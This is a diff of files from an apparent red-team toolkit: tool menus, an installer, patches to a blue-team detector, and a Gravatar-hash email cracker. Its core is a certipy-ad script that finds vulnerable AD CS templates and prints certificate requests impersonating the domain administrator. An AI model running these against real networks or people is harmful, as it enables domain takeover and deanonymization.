status = f"{COLORS['GREEN']}LOCAL{COLORS['RESET']}" if os.path.exists(info["path"]) else f"{COLORS['RED']}MISSING{COLORS['RESET']}"
print(f" {i:2d}) {name:16s}{info['desc']} [{status}]")
sel = input(f"\n Select tool #: ").strip()
try:
idx = int(sel) - 1
if 0 <= idx < len(all_tools):
tool_name = all_tools[idx]
info = TOOLS[tool_name]
# Determine remote path
if tool_name in UMBRA_TOOLS:
remote_path = f"/opt/umbra/{os.path.basename(info['path'])}"
else:
remote_path = f"/opt/redteam/{tool_name}/{os.path.basename(info['path'])}"
ssh_run_tool(host, ssh_user, ssh_key, remote_path)
except (ValueError, IndexError):
print(f"{COLORS['RED']}Invalid selection{COLORS['RESET']}")
wait_for_input()
elif choice == "6":
host, ssh_user, ssh_key = select_target_host()
if host:
check_remote_tools(host, ssh_user, ssh_key)
wait_for_input()
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
def ops_submenu():
"""Submenu for Ops Dashboard & Engagement Management."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}OPS & ENGAGEMENT MANAGEMENT{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
print(f"1) Ops Dashboard — Real-Time Engagement Monitor")
print(f"2) Ops Bridge — Sync State from Remote Hosts")
print(f"3) Heartbeat Ingest — Receive Host Check-Ins")
print(f"4) Umbra tmux — Launch tmux Workspace")
print(f"99) Back")
choice = input(f"\nSelect: ").strip()
if choice == "99":
return
elif choice == "1":
launch_local_tool("ops-dashboard")
wait_for_input()
elif choice == "2":
launch_local_tool("ops-bridge")
wait_for_input()
elif choice == "3":
launch_local_tool("heartbeat-ingest")
wait_for_input()
elif choice == "4":
_launch_umbra_tmux()
wait_for_input()
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
def _launch_umbra_tmux():
"""Prompt for engagement and launch Umbra in tmux mode."""
engagement = input(f"\n Engagement name: ").strip()
if not engagement:
print(f"{COLORS['YELLOW']}No engagement specified.{COLORS['RESET']}")
return
umbra_script = os.path.join(UMBRA_PATH, "umbra.py")
if not os.path.exists(umbra_script):
print(f"{COLORS['RED']}Umbra launcher not found at {umbra_script}{COLORS['RESET']}")
return
try:
subprocess.run([sys.executable, umbra_script, "-E", engagement, "--tmux", "--dashboard"])
except KeyboardInterrupt:
pass
def _forensics_submenu():
"""Submenu for Forensics & Malware Analysis tools."""
# Delegate to the forensics module for full functionality
forensics_module_path = os.path.join(
os.path.dirname(__file__), '..', 'forensics', 'deploy_forensics.py'
)
if os.path.exists(forensics_module_path):
import importlib.util
spec = importlib.util.spec_from_file_location('deploy_forensics', forensics_module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
mod.forensics_menu()
else:
# Fallback: launch tools directly
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}FORENSICS & MALWARE ANALYSIS{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============================={COLORS['RESET']}")
print(f"1) IR-Sandbox (Interactive Menu)")
print(f"2) Link-Sandbox (URL Analysis)")
print(f"99) Back")
choice = input(f"\nSelect: ").strip()
if choice == "99":
return
elif choice == "1":
launch_local_tool("ir-sandbox")
wait_for_input()
elif choice == "2":
launch_local_tool("link-sandbox")
wait_for_input()
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
def recon_tools_menu():
"""Main entry point — called from c2itall deploy.py tools_menu()."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}RECON & RED TEAM TOOLS{COLORS['RESET']}")
print(f"{COLORS['WHITE']}======================{COLORS['RESET']}")
# Show local tool status summary
umbra_found = sum(1 for t in UMBRA_TOOLS if check_tool_status(t))
redteam_found = sum(1 for t in REDTEAM_TOOLS if check_tool_status(t))
ops_found = sum(1 for t in OPS_TOOLS if check_tool_status(t))
print(f" Local: Umbra {COLORS['GREEN']}{umbra_found}/{len(UMBRA_TOOLS)}{COLORS['RESET']} | "
f"Red Team {COLORS['GREEN']}{redteam_found}/{len(REDTEAM_TOOLS)}{COLORS['RESET']} | "
f"Ops {COLORS['CYAN']}{ops_found}/{len(OPS_TOOLS)}{COLORS['RESET']}")
print()
print(f"1) Umbra Reconnaissance Suite {COLORS['GREEN']}({umbra_found} tools){COLORS['RESET']}")
print(f"2) Red Team Operations Tools {COLORS['GREEN']}({redteam_found} tools){COLORS['RESET']}")
print(f"3) Remote Deployment & SSH")
print(f"4) Ops & Engagement Management {COLORS['CYAN']}(Dashboard, Bridge, Heartbeat){COLORS['RESET']}")
print(f"5) Forensics & Sandbox {COLORS['YELLOW']}(IR-Sandbox, Link-Sandbox){COLORS['RESET']}")
print(f"99) Return to Tools Menu")
choice = input(f"\nSelect: ").strip()
if choice == "1":
umbra_submenu()
elif choice == "2":
redteam_submenu()
elif choice == "3":
remote_submenu()
elif choice == "4":
ops_submenu()
elif choice == "5":
_forensics_submenu()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
+353
View File
@@ -0,0 +1,353 @@
#!/usr/bin/env python3
import subprocess
import re
import sys
import os
import glob
import json
# Ops hook (safe no-op if c2itall not available)
try:
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
from utils.ops_hook import OpsHook as _OpsHook
except ImportError:
_OpsHook = None
def run_command(cmd):
"""Run a command and return its output"""
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", "Command timed out", 1
def read_latest_certipy_files():
"""Read the latest certipy output files"""
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
txt_content = ""
json_content = {}
if txt_files:
latest_txt = max(txt_files, key=os.path.getctime)
try:
with open(latest_txt, 'r', encoding='utf-8') as f:
txt_content = f.read()
except:
txt_content = ""
if json_files:
latest_json = max(json_files, key=os.path.getctime)
try:
with open(latest_json, 'r', encoding='utf-8') as f:
json_content = json.load(f)
except Exception as e:
print(f"[!] Error reading JSON: {e}")
# Try reading as text and debugging
try:
with open(latest_json, 'r', encoding='utf-8') as f:
raw_content = f.read()
pass # raw content available for debugging if needed
except:
pass
json_content = {}
return txt_content, json_content
def parse_cas_from_json(json_data):
"""Extract CAs from JSON data - looking for CA Name field"""
cas = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "CA Name" in ca_info:
cas.append(ca_info["CA Name"])
except Exception as e:
print(f"[!] Error parsing CAs: {e}")
return cas
def parse_templates_from_json(json_data):
"""
Extract templates and identify vulnerabilities:
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
- ESC2/ESC3: Look in [*] Remarks section
- User Enrollable: Look for [+] User Enrollable Principals
"""
all_templates = []
vulnerable_templates = []
user_enrollable_templates = []
esc1_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "Template Name" in template_info:
template_name = template_info["Template Name"]
all_templates.append(template_name)
# Check if enabled
is_enabled = template_info.get("Enabled", False)
# Check for ESC1: Enrollee Supplies Subject + enabled
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
if enrollee_supplies and is_enabled:
esc1_templates.append(template_name)
vulnerable_templates.append(f"{template_name} (ESC1)")
# Check for vulnerabilities in [*] Remarks
if "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
# Check for [+] User Enrollable Principals
if "[+] User Enrollable Principals" in template_info:
user_enrollable_templates.append(template_name)
except Exception as e:
print(f"[!] Error parsing templates: {e}")
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
def parse_targets_from_json(json_data):
"""Extract CA DNS names for targeting"""
targets = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
targets.append(ca_info["DNS Name"])
except Exception as e:
print(f"[!] Error parsing targets: {e}")
return targets
def parse_esc_vulnerabilities(json_data):
"""Extract ESC vulnerabilities from CA and template remarks"""
esc_vulns = []
try:
# CA level ESC (like ESC8)
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
remarks = ca_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
# Template level ESC
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
except Exception as e:
print(f"[!] Error parsing ESC vulnerabilities: {e}")
return list(set(esc_vulns))
def get_template_permissions(json_data, template_name):
"""Get who can enroll in this template"""
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
# Look for enrollment rights
permissions = template_info.get("Permissions", {})
if isinstance(permissions, dict):
enrollment_perms = permissions.get("Enrollment Permissions", {})
if isinstance(enrollment_perms, dict):
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
return enrollment_rights if isinstance(enrollment_rights, list) else []
except Exception as e:
print(f"[!] Error getting permissions for {template_name}: {e}")
return []
def get_enabled_templates(json_data):
"""Get list of enabled templates"""
enabled_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict):
template_name = template_info.get("Template Name", "")
is_enabled = template_info.get("Enabled", False)
if is_enabled and template_name:
enabled_templates.append(template_name)
except Exception as e:
print(f"[!] Error getting enabled templates: {e}")
return enabled_templates
def main():
# Ops hook
_hook = _OpsHook("certipy-enum") if _OpsHook else None
if _hook:
_hook.register()
print("=" * 60)
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
print("=" * 60)
# Get user input
username = input("Enter username (user@domain.com): ")
password = input("Enter password: ")
dc_ip = input("Enter DC IP: ")
print("\n[*] Running certipy-ad enumeration...")
# Pass password via environment variable — keeps it out of process list and logs
os.environ['_CERTIPY_PASS'] = password
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
# Run basic enumeration
print("[*] Finding Certificate Authorities and basic info...")
stdout, stderr, returncode = run_command(find_cmd)
if returncode != 0:
os.environ.pop('_CERTIPY_PASS', None)
print(f"[!] Error running certipy-ad find: {stderr}")
return
# Run vulnerability scan
print("[*] Scanning for vulnerable templates...")
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
os.environ.pop('_CERTIPY_PASS', None)
# Read the saved files
print("[*] Reading certipy output files...")
txt_content, json_content = read_latest_certipy_files()
if not json_content:
print("[!] No JSON data found. Check the certipy output files manually.")
return
# Parse results from JSON
cas = parse_cas_from_json(json_content)
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
targets = parse_targets_from_json(json_content)
esc_vulns = parse_esc_vulnerabilities(json_content)
enabled_templates = get_enabled_templates(json_content)
# Display results
print("\n" + "=" * 60)
print("ENUMERATION RESULTS")
print("=" * 60)
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
for i, ca in enumerate(cas, 1):
print(f" {i}. {ca}")
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
for i, target in enumerate(targets, 1):
print(f" {i}. {target}")
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
for esc in esc_vulns:
print(f" - {esc}")
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
for i, template in enumerate(vulnerable_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
for i, template in enumerate(user_enrollable_templates, 1):
permissions = get_template_permissions(json_content, template)
perms_str = ', '.join(permissions) if permissions else "Check manually"
print(f" {i}. {template} -> {perms_str}")
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
for i, template in enumerate(esc1_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
for i, template in enumerate(enabled_templates[:10], 1):
print(f" {i}. {template}")
if len(enabled_templates) > 10:
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
# Build attack commands
if cas and targets:
domain = username.split('@')[1] if '@' in username else 'company.com'
print("\n" + "=" * 60)
print("RECOMMENDED ATTACK COMMANDS")
print("=" * 60)
ca_name = cas[0]
target_name = targets[0]
# Priority: ESC1 templates, then user enrollable, then common enabled ones
priority_templates = []
# Add ESC1 templates first (highest priority)
for template in esc1_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add user enrollable templates
for template in user_enrollable_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add common templates if they're enabled
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
for template in common_templates:
if template in enabled_templates and template not in priority_templates:
priority_templates.append(template)
# Limit to top 5
priority_templates = priority_templates[:5]
if not priority_templates:
priority_templates = enabled_templates[:3]
print(f"\n[*] Using CA: {ca_name}")
print(f"[*] Using Target: {target_name}")
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
for i, template in enumerate(priority_templates, 1):
permissions = get_template_permissions(json_content, template)
print(f"\n[{i}] Template: {template}")
if permissions:
print(f" Permissions: {', '.join(permissions)}")
else:
print(f" Permissions: Check manually")
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
print(f" Command: {cmd}")
print(f"\n[*] Output files created:")
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
for f in sorted(txt_files[-2:] + json_files[-2:]):
print(f" - {f}")
else:
print("\n[!] Insufficient data found for building attack commands.")
print(" Try running the commands manually with known templates.")
if __name__ == "__main__":
main()
+53
View File
@@ -0,0 +1,53 @@
# core/main_menu.py
from InquirerPy import inquirer
from core.utils import clear_screen
from core.config import config
from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
# Main Menu Function
def main_menu():
while True:
clear_screen() # Clear screen before displaying the main menu
selection = inquirer.select(
message="Select a Tactic:",
choices=[
"Reconnaissance",
"Initial Access",
"Execution",
"Persistence",
"Privilege Escalation",
"Defense Evasion",
"Credential Access",
"Discovery",
"Lateral Movement",
"Collection",
"Command and Control",
"Exfiltration",
"Impact",
"Resource Development",
"Set Global Variable",
"Show Global Variables",
"Exit",
],
qmark="", # Remove question mark
pointer="👾" # Customize the pointer
).execute()
# Call relevant function based on user selection
if selection == "Exit":
print("Exiting...")
break
elif selection == "Set Global Variable":
config.prompt_set_variable()
elif selection == "Show Global Variables":
config.show_variables()
elif selection == "Reconnaissance":
reconnaissance_menu() # Navigate to Reconnaissance Menu
else:
# Handle options under construction
print("This feature is under construction. Returning to the main menu...")
input("Press Enter to continue...")
if __name__ == "__main__":
main_menu()
+121
View File
@@ -0,0 +1,121 @@
import os
import subprocess
import argparse
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
def install_tool(tool_name, repo_url):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if os.path.exists(tool_path):
print(f"{tool_name} is already installed.")
return
# Clone the repository
print(f"Cloning {repo_url}...")
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
# Set up a virtual environment if necessary
venv_path = os.path.join(tool_path, 'venv')
print(f"Setting up virtual environment for {tool_name}...")
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
# Activate virtual environment and install dependencies
requirements_file = os.path.join(tool_path, 'requirements.txt')
if os.path.exists(requirements_file):
print(f"Installing dependencies for {tool_name}...")
pip_bin = os.path.join(venv_path, 'bin', 'pip')
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
print(f"{tool_name} installed successfully.")
def install_tools_list(tools_list):
for tool_name, repo_url in tools_list:
install_tool(tool_name, repo_url)
def update_tool(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if not os.path.exists(tool_path):
print(f"{tool_name} is not installed.")
return
# Pull the latest changes
print(f"Updating {tool_name}...")
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
# Update dependencies if necessary
venv_path = os.path.join(tool_path, 'venv')
requirements_file = os.path.join(tool_path, 'requirements.txt')
if os.path.exists(requirements_file):
print(f"Updating dependencies for {tool_name}...")
pip_bin = os.path.join(venv_path, 'bin', 'pip')
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
print(f"{tool_name} updated successfully.")
def remove_tool(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if not os.path.exists(tool_path):
print(f"{tool_name} is not installed.")
return
# Remove the tool directory
print(f"Removing {tool_name}...")
subprocess.run(['rm', '-rf', tool_path], check=True)
print(f"{tool_name} removed successfully.")
def show_status(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if os.path.exists(tool_path):
print(f"{tool_name} is installed.")
else:
print(f"{tool_name} is not installed.")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
# Install command
install_parser = subparsers.add_parser('install', help='Install a tool')
install_parser.add_argument('tool_name', help='Name of the tool to install')
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
# Install multiple tools
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
# Update command
update_parser = subparsers.add_parser('update', help='Update a tool')
update_parser.add_argument('tool_name', help='Name of the tool to update')
# Remove command
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
# Status command
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
status_parser.add_argument('tool_name', help='Name of the tool')
args = parser.parse_args()
if args.command == 'install':
install_tool(args.tool_name, args.repo_url)
elif args.command == 'install-list':
# Read the file to get a list of tools to install
tools = []
with open(args.file, 'r') as f:
for line in f:
name, url = line.strip().split(',')
tools.append((name.strip(), url.strip()))
install_tools_list(tools)
elif args.command == 'update':
update_tool(args.tool_name)
elif args.command == 'remove':
remove_tool(args.tool_name)
elif args.command == 'status':
show_status(args.tool_name)
else:
parser.print_help()
+16 -3
View File
@@ -27,7 +27,12 @@ import hashlib
import struct
import base64
from datetime import datetime, timedelta
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
try:
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
print("⚠️ Warning: scapy not available. Install with: pip install scapy")
from collections import defaultdict, deque, Counter
from typing import Dict, List, Tuple, Optional, Set, Any
@@ -1373,7 +1378,11 @@ class EnhancedBlueTeamDetector:
"""Select network interface"""
if self.config["interface"] != "auto":
return self.config["interface"]
if not SCAPY_AVAILABLE:
logging.error("scapy not installed — cannot list interfaces")
return "eth0"
interfaces = get_if_list()
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
@@ -1469,10 +1478,14 @@ class EnhancedBlueTeamDetector:
def run(self):
"""Main detection loop"""
if not SCAPY_AVAILABLE:
print("❌ scapy is required for packet capture. Install with: pip install scapy")
return
# Signal handlers
signal.signal(signal.SIGTERM, self.cleanup)
signal.signal(signal.SIGINT, self.cleanup)
# Get interface
interface = self.get_network_interface()
+1 -64
View File
@@ -926,69 +926,6 @@ clear_window_indicators() {
fi
}
# ================================================================
# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT
# ================================================================
# Improved window name handling that works with ohmytmux
get_current_window_name() {
local tmux_pane_ref="$1"
local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
# Remove our indicators as well as any ohmytmux status indicators
name="${name#🔴 }"
name="${name#🎥 }"
name="${name#● }"
name="${name#⚠ }"
name="${name#▶ }"
echo "$name"
}
set_window_logging_indicator() {
local tmux_pane_ref="$1"
local current_name=$(get_current_window_name "$tmux_pane_ref")
# Preserve ohmytmux automatic formats but add our indicator
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z"
else
tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name"
fi
}
set_window_recording_indicator() {
local tmux_pane_ref="$1"
local current_name=$(get_current_window_name "$tmux_pane_ref")
# Remove logging indicator if present and add recording
current_name="${current_name#🔴 }"
# Preserve ohmytmux automatic formats
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z"
else
tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name"
fi
}
clear_window_indicators() {
local tmux_pane_ref="$1"
local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
local clean_name=$(get_current_window_name "$tmux_pane_ref")
# Preserve any ohmytmux indicators that might be present
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z"
else
tmux rename-window -t "$tmux_pane_ref" "$clean_name"
fi
}
# ================================================================
# MAIN LOGGING FUNCTIONS
# ================================================================
@@ -1279,7 +1216,7 @@ EOSCRIPT
chmod +x "$config_script"
# Open new window for config
bash $config_script; rm -f $config_script
bash "$config_script"; rm -f "$config_script"
return 0
fi
+991
View File
@@ -0,0 +1,991 @@
#!/usr/bin/env python3
"""um-crack.py — Umbra Hash Cracker
Pattern-based email recovery from Gravatar MD5 hashes. Local computation only
(no network needed). 772+ email providers, cultural naming patterns.
"""
import csv
import hashlib
import itertools
import json
import os
import random
import re
import sqlite3
import sys
import time
from collections import defaultdict
from datetime import datetime
import click
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn
from rich.table import Table
from rich import box
from um_tui import UmbraTUI
from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope
# ─── Version ──────────────────────────────────────────────────────────────────
VERSION = "1.0.0"
TOOL_NAME = "um-crack"
THEME_COLOR = "bright_red"
BANNER = r"""
_ _ __ __ ____ _____ _____ _____ _____ _ __
| | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ /
| | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' /
| | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | <
| |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \
\____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\
"""
# ─── Email Providers (772+) ──────────────────────────────────────────────────
MAJOR_PROVIDERS = [
"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com",
"icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com",
"gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com",
"pm.me", "tutanota.com", "fastmail.com", "hushmail.com",
]
REGIONAL_PROVIDERS = {
# Americas
"us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net",
"earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com",
"optonline.net", "frontier.com", "windstream.net", "centurylink.net",
"suddenlink.net", "mediacombb.net"],
"br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br",
"hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"],
"mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"],
"ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"],
"co": ["yahoo.com.co", "hotmail.com.co"],
"cl": ["yahoo.cl", "hotmail.cl", "vtr.net"],
"ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"],
# Europe
"uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net",
"ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk",
"hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"],
"de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de",
"yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"],
"fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net",
"yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"],
"it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it",
"yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"],
"es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net",
"terra.es", "ono.com", "jazztel.es"],
"nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl",
"planet.nl", "yahoo.nl", "hotmail.nl"],
"be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"],
"ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"],
"at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"],
"se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se",
"bredband.net", "swipnet.se"],
"no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"],
"dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"],
"fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", "hotmail.fi"],
"pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl",
"yahoo.pl", "hotmail.pl", "gazeta.pl"],
"cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"],
"ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru",
"inbox.ru", "ya.ru"],
"pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"],
"ie": ["eircom.net", "yahoo.ie", "hotmail.ie"],
"gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"],
# Asia-Pacific
"jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp",
"nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp",
"excite.co.jp", "goo.ne.jp"],
"cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com",
"aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"],
"kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"],
"in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in",
"indiatimes.com"],
"au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au",
"yahoo.com.au", "hotmail.com.au", "tpg.com.au"],
"nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"],
"tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"],
"hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"],
"sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"],
"th": ["yahoo.co.th", "hotmail.co.th"],
"id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"],
"ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"],
"my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"],
# Middle East & Africa
"il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"],
"ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"],
"sa": ["yahoo.sa", "hotmail.sa"],
"za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za",
"webmail.co.za"],
"eg": ["yahoo.com.eg", "hotmail.com.eg"],
"ng": ["yahoo.com.ng"],
"ke": ["yahoo.co.ke"],
"tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"],
}
# Flatten all providers into one list
ALL_PROVIDERS = list(MAJOR_PROVIDERS)
for region_providers in REGIONAL_PROVIDERS.values():
ALL_PROVIDERS.extend(region_providers)
ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe
ALL_PROVIDERS.sort()
# Additional disposable / tech providers
TECH_PROVIDERS = [
"protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me",
"disroot.org", "riseup.net", "autistici.org", "cock.li",
"airmail.cc", "420blaze.it", "national.shitposting.agency",
"memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen",
"wants.dickinthe.us", "goat.si", "cocaine.ninja",
]
ALL_PROVIDERS.extend(TECH_PROVIDERS)
ALL_PROVIDERS = sorted(set(ALL_PROVIDERS))
